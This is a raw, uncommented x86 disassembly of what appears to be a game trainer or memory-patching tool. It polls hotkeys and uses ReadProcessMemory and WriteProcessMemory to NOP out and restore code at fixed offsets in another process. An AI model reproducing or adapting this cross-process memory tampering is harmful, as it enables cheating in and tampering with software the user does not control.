mov dword [0x53dae8], 0
push dword [0x53da98]
push 0xd
push dword [0x53daec]
mov ebx, dword [0x53da34]
add ebx, 0x7683c2
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 1
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
pop eax
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x1c]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x1c]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x1c]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x1c]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53daf0], ebx
mov ebx, dword [0x53daf0]
and ebx, ebx
je 0x405772
push dword [0x53daf4]
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x405716
mov dword [0x53daf4], 1
push dword [0x53da98]
push 6
push dword [0x53daf8]
mov ebx, dword [0x53da34]
add ebx, 0x2fb1fc
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_ReadProcessMemory
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 6
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x2fb1fc
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 0
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
jmp 0x405771
mov ebx, 1
cmp ebx, dword [esp]
jne 0x405771
mov dword [0x53daf4], 0
push dword [0x53da98]
push 6
push dword [0x53daf8]
mov ebx, dword [0x53da34]
add ebx, 0x2fb1fc
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 1
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
pop eax
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x20]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x20]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x20]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x20]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53dafc], ebx
mov ebx, dword [0x53dafc]
and ebx, ebx
je 0x4058b0
push dword [0x53db00]
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x405840
mov dword [0x53db00], 1
push 1
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x3f14
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 0
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
jmp 0x4058af
mov ebx, 1
cmp ebx, dword [esp]
jne 0x4058af
mov dword [0x53db00], 0
push 0
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x3f14
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 1
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
pop eax
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x24]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x24]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x24]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x24]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db04], ebx
mov ebx, dword [0x53db04]
and ebx, ebx
je 0x405e00
push 0x90
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 8
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x51ea18
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 8
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x51ec18
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 8
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x51b2aa
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 8
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x51b2c7
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 8
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x51f42a
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 0
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x28]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x28]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x28]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x28]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db08], ebx
mov ebx, dword [0x53db08]
and ebx, ebx
je 0x405e56
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x2c]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x2c]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x2c]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x2c]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db0c], ebx
mov ebx, dword [0x53db0c]
and ebx, ebx
je 0x405eac
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x30]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x30]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x30]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x30]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db10], ebx
mov ebx, dword [0x53db10]
and ebx, ebx
je 0x405f02
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x34]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x34]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x34]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x34]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db14], ebx
mov ebx, dword [0x53db14]
and ebx, ebx
je 0x405f58
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x38]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x38]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x38]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x38]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db18], ebx
mov ebx, dword [0x53db18]
and ebx, ebx
je 0x405fae
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x3c]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x3c]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x3c]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x3c]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db1c], ebx
mov ebx, dword [0x53db1c]
and ebx, ebx
je 0x406004
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x40]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x40]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x40]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x40]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db20], ebx
mov ebx, dword [0x53db20]
and ebx, ebx
je 0x40605a
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x44]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x44]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x44]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x44]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db24], ebx
mov ebx, dword [0x53db24]
and ebx, ebx
je 0x4060b0
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x48]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x48]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x48]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x48]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db28], ebx
mov ebx, dword [0x53db28]
and ebx, ebx
je 0x406106
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x4c]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x4c]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x4c]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x4c]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db2c], ebx
mov ebx, dword [0x53db2c]
and ebx, ebx
je 0x40615c
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x50]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x50]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x50]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x50]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53db30], ebx
mov ebx, dword [0x53db30]
and ebx, ebx
je 0x4061b2
mov dword [0x53dab8], 0
mov dword [0x53dac0], 0
mov dword [0x53dac8], 0
mov dword [0x53dad0], 0
mov dword [0x53dad8], 0
mov dword [0x53dae4], 0
mov dword [0x53daf0], 0
mov dword [0x53dafc], 0
mov dword [0x53db04], 0
mov dword [0x53db08], 0
mov dword [0x53db0c], 0
mov dword [0x53db10], 0
mov dword [0x53db14], 0
mov dword [0x53db18], 0
mov dword [0x53db1c], 0
mov dword [0x53db20], 0
mov dword [0x53db24], 0
mov dword [0x53db28], 0
mov dword [0x53db2c], 0
mov dword [0x53db30], 0
mov ebx, dword [0x53da08]
cmp ebx, 0x45a2a5
je 0x406297
push 0
push 3
call fcn.0040aea2
call fcn.00406e13
push 1
call sub.KERNEL32.dll_Sleep
mov eax, 0x12c
call fcn.00409e39
mov dword [0x53da68], eax
mov ebx, dword [0x53da68]
cmp ebx, 0x63
jne 0x406370
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53e114]
call fcn.0040991f
inc dword [0x53e114]
push 0
mov edx, dword [0x53c870]
add dword [esp + 4], edx
call fcn.0040cae0
pop dword [0x53e114]
push 0
call fcn.0040cb00
mov dword [0x53d9d4], eax
mov dword [0x53d9d8], 1
mov ebx, dword [0x53d9d4]
add ebx, 0xfffffffc
cmp ebx, dword [0x53d9d8]
jl 0x406337
push 0
call fcn.0040cc30
mov dword [0x53d9ec], eax
inc dword [0x53d9d8]
jmp 0x40630f
push 0
call fcn.0040cbd0
mov dword [0x53d9e4], eax
push 0
call fcn.0040c880
mov ebx, dword [0x53d9e4]
cmp ebx, dword [0x53d9d4]
jne 0x406360
jmp 0x406363
inc eax
push esp
ret
mov ebx, dword [0x53da5c]
and ebx, ebx
jne 0x406370
inc eax
push esp
ret
mov ebx, dword [0x53d9e0]
cmp ebx, dword [0x53d9e8]
jne 0x406394
mov ebx, dword [0x53d9e0]
and ebx, ebx
je 0x406394
mov ebx, dword [0x53d9e8]
and ebx, ebx
je 0x406394
jmp 0x40639b
mov eax, 1
jmp 0x40639d
xor eax, eax
and eax, eax
je 0x4063f4
mov eax, 0xa
call fcn.00409e39
mov ebx, eax
add ebx, 0xa
mov dword [0x53da84], ebx
mov eax, 0x28
call fcn.00409e39
mov ebx, eax
add ebx, 0x28
mov dword [0x53da88], ebx
mov ebx, dword [0x53da34]
add ebx, dword [0x53da84]
mov dword [0x53da34], ebx
mov ebx, dword [0x53da80]
add ebx, dword [0x53da88]
mov dword [0x53da80], ebx
jmp 0x4022cd
jmp 0x404678